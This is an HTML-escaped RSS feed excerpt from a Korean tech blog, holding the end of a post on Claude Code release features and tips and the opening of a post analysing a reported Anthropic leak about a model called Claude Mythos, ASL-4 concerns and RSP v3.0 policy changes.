&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자 커뮤니티의 반응도 주목할 만하다. DEV.to의 Alan West는 v2.1.83 릴리스 직후 &lt;i&gt;&quot;긴 세션에서 검색을 시도했는데 즉시 찾아졌다. 이것만으로도 업데이트할 이유가 된다&quot;&lt;/i&gt;고 썼고 (&lt;a href=&quot;https://dev.to/alanwest/claude-code-2183-dropped-an-hour-ago-i-already-found-5-things-that-matter-3g0e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;), DEV.to의 jidonglab은 3주간 17개 릴리스를 분석하며 &lt;i&gt;&quot;플랫폼 전환점(inflection point)이 실시간으로 일어나고 있다&quot;&lt;/i&gt;고 평가했다 (&lt;a href=&quot;https://dev.to/ji_ai/17-claude-code-releases-in-30-days-everything-that-changed-1ec8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처&lt;/a&gt;). 한편 Hacker News에서는 안정성 우려도 나왔다 &amp;mdash; 3월 17일 500 에러, CLAUDE.md 지시 무시 등의 보고가 있었다 (&lt;a href=&quot;https://news.ycombinator.com/item?id=47417316&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN&lt;/a&gt;). 이 반응들이 보여주는 것: &lt;b&gt;기능 추가 속도는 압도적이지만, 안정성과의 균형이 여전히 과제&lt;/b&gt;라는 점이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;24개 버전, 약 400개 변경사항의 방향은 명확하다: &lt;b&gt;Claude Code가 &quot;일회성 코딩 도구&quot;에서 &quot;기억하고, 반복하고, 대규모 컨텍스트를 다루는 팀 인프라&quot;로 진화했다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지금 확인해야 할 것&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sHWvL/dJMcaaLwa2D/oBRjmTGCigahDkgxIisc2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sHWvL/dJMcaaLwa2D/oBRjmTGCigahDkgxIisc2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sHWvL/dJMcaaLwa2D/oBRjmTGCigahDkgxIisc2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsHWvL%2FdJMcaaLwa2D%2FoBRjmTGCigahDkgxIisc2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1078&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;당신의 상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;지금 해볼 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;세션 간 컨텍스트가 끊겨서 불편하다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt;로 Auto Memory 상태를 확인하고 정리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;반복 작업을 수동으로 실행하고 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/loop 5m check the build&lt;/code&gt;로 자동화한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;코드 품질 검토를 별도로 하고 있다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;구현 후 &lt;code&gt;/simplify&lt;/code&gt;를 실행한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 세션을 자주 쓴다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;Ctrl+O&lt;/code&gt; &amp;rarr; &lt;code&gt;/&lt;/code&gt;로 트랜스크립트 검색을 시도해 본다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;팀에서 Claude Code를 운영한다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;managed-settings.d/&lt;/code&gt;로 팀별 정책을 분리한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;자동화 파이프라인을 구축 중이다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CwdChanged&lt;/code&gt;, &lt;code&gt;FileChanged&lt;/code&gt; 훅을 실험한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;응답이 느려졌다고 느낀다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/context&lt;/code&gt;로 컨텍스트 사용량을 확인한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;대규모 리포에서 느리다고 느꼈다&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;claude update&lt;/code&gt;만 해도 시작 메모리 ~100MB 이상 절감&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 지금 바로 업데이트
claude update

# 현재 버전 확인
claude --version&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 CHANGELOG: &lt;a href=&quot;https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Docs&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Auto Memory 가이드: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Memory&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Voice Mode: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/voice&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Voice&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;훅 가이드: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/hooks&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hooks Reference&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;플러그인 가이드: &lt;a href=&quot;https://code.claude.com/docs/en/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plugins&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>/loop 크론</category>
      <category>/simplify</category>
      <category>1M 컨텍스트</category>
      <category>auto memory</category>
      <category>claude code</category>
      <category>opus 4.6</category>
      <category>Voice STT</category>
      <category>반응형 훅</category>
      <category>트랜스크립트 검색</category>
      <category>플러그인 보안</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/569</guid>
      <comments>https://goddaehee.tistory.com/569#entry569comment</comments>
      <pubDate>Mon, 30 Mar 2026 18:30:38 +0900</pubDate>
    </item>
    <item>
      <title>Claude Mythos(Capybara) - 앤트로픽 Claude Mythos 유출 분석 : ASL-4 임박, RSP 변화, 개발자 시사점</title>
      <link>https://goddaehee.tistory.com/568</link>
      <description>&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;TechArticle&quot;,
  &quot;headline&quot;: &quot;앤트로픽 Claude Mythos(Capybara) 유출 완전 분석 - ASL-4 임박, RSP 변화, 개발자 시사점&quot;,
  &quot;description&quot;: &quot;앤트로픽이 CMS 인적 오류로 약 3,000건의 미공개 자료를 노출했다. 그 안에는 역대 가장 강력한 AI 모델 Claude Mythos(코드명 Capybara)의 존재가 담겨 있었다. 모델 성능, ASL-4 임박 우려, RSP v3.0 개편의 의미, 개발자 시사점까지 공식 소스 기반으로 완전 분석한다.&quot;,
  &quot;author&quot;: {
    &quot;@type&quot;: &quot;Person&quot;,
    &quot;name&quot;: &quot;갓대희&quot;
  },
  &quot;datePublished&quot;: &quot;2026-03-29&quot;,
  &quot;mainEntity&quot;: [
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Claude Mythos와 Capybara는 같은 모델인가?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Fortune 원본 보도에 따르면 두 이름이 동일 모델을 가리킵니다. 유출된 초안 블로그 포스트의 버전에 따라 'Mythos'와 'Capybara'가 각각 사용됐습니다. Capybara가 독립된 계층 이름인지, 아니면 모델의 후보 이름인지는 아직 Anthropic이 공식 확인하지 않았습니다.&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;RSP v3.0에서 삭제된 'pause 약속'은 무엇인가?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;이전 RSP에는 안전 완화 조치를 보장하지 못하면 모델 개발을 중단한다는 하드 커밋먼트가 있었습니다. RSP v3.0(2026-02-24 발효)에서는 이 단독 pause 조항이 삭제됐습니다. 단순 조건 완화가 아니라 정책 구조가 변경됐습니다. 회사 자체 계획(company plans)과 산업 전체 권고(industry-wide recommendations)를 분리하고, Risk Reports·external review·competitor-contingent commitments를 포함한 다층 구조로 전환됐습니다. (출처: Anthropic RSP v3.0 전문, Appendix A)&quot;
      }
    },
    {
      &quot;@type&quot;: &quot;Question&quot;,
      &quot;name&quot;: &quot;Claude Mythos는 ASL-4 모델인가?&quot;,
      &quot;acceptedAnswer&quot;: {
        &quot;@type&quot;: &quot;Answer&quot;,
        &quot;text&quot;: &quot;Anthropic이 공식적으로 ASL-4로 분류하지 않았습니다. 다만 유출 문서와 RSP v3.0 문서의 내용을 근거로 여러 매체가 'ASL-4 임박' 또는 '접근 중'이라고 분석합니다. ASL-4는 아직 정식으로 정의되지 않은 단계입니다.&quot;
      }
    }
  ]
}
&lt;/script&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2920&quot; data-origin-height=&quot;1712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tK24X/dJMb99Tl3qT/1hohOkOxLXm9kqY7y0Lbfk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tK24X/dJMb99Tl3qT/1hohOkOxLXm9kqY7y0Lbfk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tK24X/dJMb99Tl3qT/1hohOkOxLXm9kqY7y0Lbfk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtK24X%2FdJMb99Tl3qT%2F1hohOkOxLXm9kqY7y0Lbfk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2920&quot; height=&quot;1712&quot; data-origin-width=&quot;2920&quot; data-origin-height=&quot;1712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;2026년 3월 26일, Fortune의 단독 보도 하나가 AI 업계를 뒤흔들었다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앤트로픽(Anthropic)이 CMS(콘텐츠 관리 시스템) 설정 오류라는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;인적 실수&lt;/b&gt;&lt;/span&gt; 하나로, 발표 예정이었던 블로그 게시물과 관련 자료 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;약 3,000건&lt;/b&gt;&lt;/span&gt;을 외부에 노출시켰다. 그 문서들 안에 아무도 예상하지 못했던 정보가 담겨 있었다. 앤트로픽이 개발한 역대 가장 강력한 AI 모델 &lt;b&gt;Claude Mythos(코드명 Capybara)&lt;/b&gt;의 존재와 개요가 세상에 모습을 드러낸 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이버보안 분야에서 &quot;다른 어떤 AI 모델보다 훨씬 앞서 있다&quot;는 내부 평가, &quot;전례 없는 사이버보안 위험&quot;이라는 자체 경고, 그리고 ASL-4 임박 신호까지. 이 유출은 단순한 실수를 넘어서 AI 안전 논의의 판을 바꾸는 사건이 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 공식 소스를 기반으로 이 사건의 전모와 시사점을 분석해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3줄 요약 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;3줄 요약&lt;/b&gt;&lt;br /&gt;1. 앤트로픽 CMS 인적 오류로 약 3,000건 미공개 자료 유출 &amp;mdash; 그 안에 역대 최강 모델 &lt;b&gt;Claude Mythos(코드명 Capybara)&lt;/b&gt; 존재 확인 (출처: Fortune, 2026-03-26)&lt;br /&gt;&lt;br /&gt;2. 모델은 소프트웨어 코딩&amp;middot;학술 추론&amp;middot;사이버보안 전 분야에서 Claude Opus 4.6 대비 극적으로 높은 점수 &amp;mdash; 내부 문서는 &quot;전례 없는 사이버보안 위험&quot;이라고 자체 경고&lt;br /&gt;&lt;br /&gt;3. 앤트로픽은 2026-02-24 RSP v3.0을 발효하며 기존 &quot;학습 중단&quot; 하드 커밋먼트를 삭제 &amp;mdash; ASL-4 임박 신호와 맞물려 AI 안전 논쟁이 재점화&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;사건 개요 &amp;mdash; 실수로 열린 판도라의 상자
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;무엇이 노출됐나&lt;/li&gt;
&lt;li&gt;누가 발견했나&lt;/li&gt;
&lt;li&gt;앤트로픽의 공식 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Mythos와 Capybara 계층
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두 이름의 관계&lt;/li&gt;
&lt;li&gt;Capybara: Opus를 넘는 새 계층&lt;/li&gt;
&lt;li&gt;&quot;지금까지 개발한 AI 모델 중 단연 가장 강력한&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;mdash; 무엇이 다른가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코딩&amp;middot;추론&amp;middot;사이버보안&lt;/li&gt;
&lt;li&gt;&quot;step change&quot;의 의미&lt;/li&gt;
&lt;li&gt;경쟁 구도 &amp;mdash; GPT-5, Gemini 3와의 맥락&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;전례 없는 사이버보안 위험
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부 경고 내용&lt;/li&gt;
&lt;li&gt;공격자 vs 방어자 비대칭&lt;/li&gt;
&lt;li&gt;업계 전반의 사이버 위험 &amp;mdash; Anthropic만의 문제가 아니다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;ASL-4 임박 신호
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ASL 체계란&lt;/li&gt;
&lt;li&gt;현재 모델 수준&lt;/li&gt;
&lt;li&gt;ASL-4의 의미&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;RSP v3.0 &amp;mdash; Pause 약속 삭제의 의미
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;무엇이 바뀌었나&lt;/li&gt;
&lt;li&gt;왜 바꿨나&lt;/li&gt;
&lt;li&gt;비판과 반론&lt;/li&gt;
&lt;li&gt;업계 정책 비교 &amp;mdash; OpenAI&amp;middot;Google과의 수렴과 차이&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;출시 전략 &amp;mdash; 신중한 단계적 배포
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;얼리 액세스 &amp;rarr; 사이버 방어 우선&lt;/li&gt;
&lt;li&gt;정식 출시 타임라인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자&amp;middot;보안 전문가에게 주는 시사점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자주 묻는 질문&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 1 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 사건 개요 &amp;mdash; 실수로 열린 판도라의 상자&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무엇이 노출됐나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 26일, Fortune이 단독으로 보도한 내용에 따르면 앤트로픽의 CMS(콘텐츠 관리 시스템) 외부 도구에 설정 오류가 발생해, 중앙 데이터 저장소에 업로드된 자료 가운데 &lt;b&gt;명시적으로 비공개 설정을 하지 않은 것들이 기본적으로 공개 상태&lt;/b&gt;가 됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이로 인해 앤트로픽의 뉴스&amp;middot;연구 사이트에 정식으로 발행되지 않은 미공개 자산 약 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3,000건&lt;/b&gt;&lt;/span&gt;이 외부에서 접근 가능한 상태였다. 여기에는 발표 예정인 블로그 게시물 초안, 관련 이미지, 내부 문서 등이 포함됐다. 그 중 가장 주목받은 것은 아직 공개되지 않은 신규 AI 모델에 관한 두 가지 버전의 초안 블로그 포스트였다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 10px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;공식 문서 출처&lt;/b&gt;&lt;br /&gt;Fortune에 따르면 앤트로픽은 외부 CMS 도구 문제로 초안 콘텐츠가 접근 가능한 상태가 됐다고 설명했다.&lt;br /&gt;(앤트로픽 대변인, Fortune 인용 &amp;mdash; 원문 간접 인용)&lt;br /&gt;&lt;br /&gt;앤트로픽은 이 사건을 &quot;인적 오류의 결과(result of human error)&quot;라고 공식 설명했다.&lt;br /&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&amp;rarr; Fortune 원본 기사 (2026-03-26)&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;누가 발견했나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 노출된 저장소를 발견하고 검토한 것은 두 명의 보안 연구원이었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;연구원&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;소속&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Roy Paz&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;LayerX Security (선임 AI 보안 연구원)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;노출 저장소 발견 및 1차 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Alexandre Pauwels&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;University of Cambridge (사이버보안 연구원)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;보안이 취약한 공개 접근 가능 저장소 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 연구원은 이 자료를 Fortune에 제공했고, Fortune은 3월 26일 단독 보도로 세상에 알렸다. 이후 국내외 주요 언론이 일제히 보도를 이어갔다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026-03-26&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;앤트로픽의 공식 대응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 이 사건에 대해 비교적 즉각적으로 반응했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;대변인은 Fortune의 보도에 대해 새로운 모델을 학습했으며 현재 테스트 중임을 인정했다. 동시에 &quot;추론, 코딩 및 사이버보안 측면에서 의미 있는 발전을 이룬 범용 모델을 개발하고 있다&quot;고 밝혔으며, 이 모델이 &quot;&lt;b&gt;step change(획기적 변화)&lt;/b&gt;&quot;를 가져올 것이며 &quot;지금까지 개발한 모델 중 가장 뛰어난 성능을 자랑한다&quot;고 덧붙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;또한 &quot;소수의 얼리 액세스 고객과 협력하여 모델을 테스트하고 있다&quot;고 확인했다. 보안 문제를 해결했으며 추가 미공개 자산의 노출을 방지하기 위한 조치를 취했다고 밝혔다.&lt;/p&gt;
